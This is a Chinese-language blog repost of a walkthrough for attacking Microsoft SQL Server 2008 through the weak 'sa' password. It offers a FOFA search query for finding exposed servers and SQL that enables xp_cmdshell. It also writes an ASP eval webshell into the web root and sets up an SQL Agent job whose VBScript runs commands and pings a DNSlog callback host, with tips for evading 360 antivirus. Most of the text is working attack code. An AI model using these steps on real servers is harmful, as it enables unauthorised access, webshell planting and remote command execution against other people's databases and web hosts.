本文转载于公众号:融云攻防实验室,原文地址:
漏洞复现-MSSQL 2008弱口令利用
0x01 阅读须知
资源来源于网络,安全小天地只是再次进行分享,使用请遵循本站的免责申明
0x02 漏洞描述
MSSQL是指微软的SQLServer数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,其中数据库服务器部分,是一个数据库管理系统,用于建立、使用和维护数据库。当MSSQL数据库管理员账号对应密码的长度太短或者复杂度不够,仅包含数字,或仅包含字母等,攻击者可以利用弱口令直接登录系统,获取系统权限。
0x03 漏洞复现
漏洞环境:Microsoft SQL Server 2008 (RTM) – 10.0.1600.22 (X64)
FOFA: “sqlserver”
1.通过弱口令sa:123456进入数据库,查看数据库版本
select @@version
2.查看路径,可以看到inetpub路径,那么就可以遍历目录推断出web路径C:\\inetpub\\wwwroot
execute master..xp_dirtree \'c:\\\',1,1 --
3.通过xp_cmdshell,写入webshell成功,如下(xp_cmdshell 扩展存储过程将命令字符串作为操作系统命令 shell 执行,并以文本行的形式返回所有输出,但是如果有360一般不能执行)
-- 查询是否存在xp_cmdshell
select count(*) from master.dbo.sysobjects where xtype = \'x\' AND name=\'xp_cmdshell\'
-- 启用xp_cmdshell
EXEC sp_configure \'show advanced options\', 1;
RECONFIGURE;
EXEC sp_configure \'xp_cmdshell\', 1;
RECONFIGURE;
-- 执行命令
EXEC master.dbo.xp_cmdshell \'echo ^<^%^@Page Language=^\"^Jscript^\"^%^>^<^%^eval(Request.Item^[^\"cc^\"^]^,^\"unsafe^\")^;^%^>>C:\\inetpub\\wwwroot\\1.asp\'--
# 注意!如果echo 里面的字符有引号和其他符号,那么我们就要在引号前面加一个 ^ 来转义它!记得用单引号包裹里面的一句话!
4.由于会被360拦截,我们换一种方式
5.使用AgentJob 360不会拦截,但是没有回显,我们使用vbscript方式执行ping命令pingDNSlog服务,DNSlog服务收到ping,如图:
(注:Express版本的SQL Server不支持Agent服务,开发版或者企业版才支持,而且利用AgentJob需要开启SQL Agent服务)
#注:vb_job16会有缓存,需批量替换修改成任意名字
USE msdb;
EXEC dbo.sp_add_job @job_name = N\'vb_job16\' ;
EXEC sp_add_jobstep
@job_name = N\'vb_job16\',
@step_name = N\'vb_step\',
@subsystem = N\'ACTIVESCRIPTING\',
@command=N\'FUNCTION Main()
dim shell
set shell= CreateObject (\"WScript.Shell\")
shell.run(\"c:\\windows\\system32\\cmd.exe /c ping xx.1eb20164ecd7fc421cxxxx8d5527667.xx.org\")
set shell = nothing
END FUNCTION\',
@database_name = \"VBScript\",
@retry_attempts = 1,
@retry_interval = 5;
EXEC dbo.sp_add_jobserver @job_name = N\'vb_job16\';
EXEC dbo.sp_start_job N\'vb_job16\';
THE END
暂无评论内容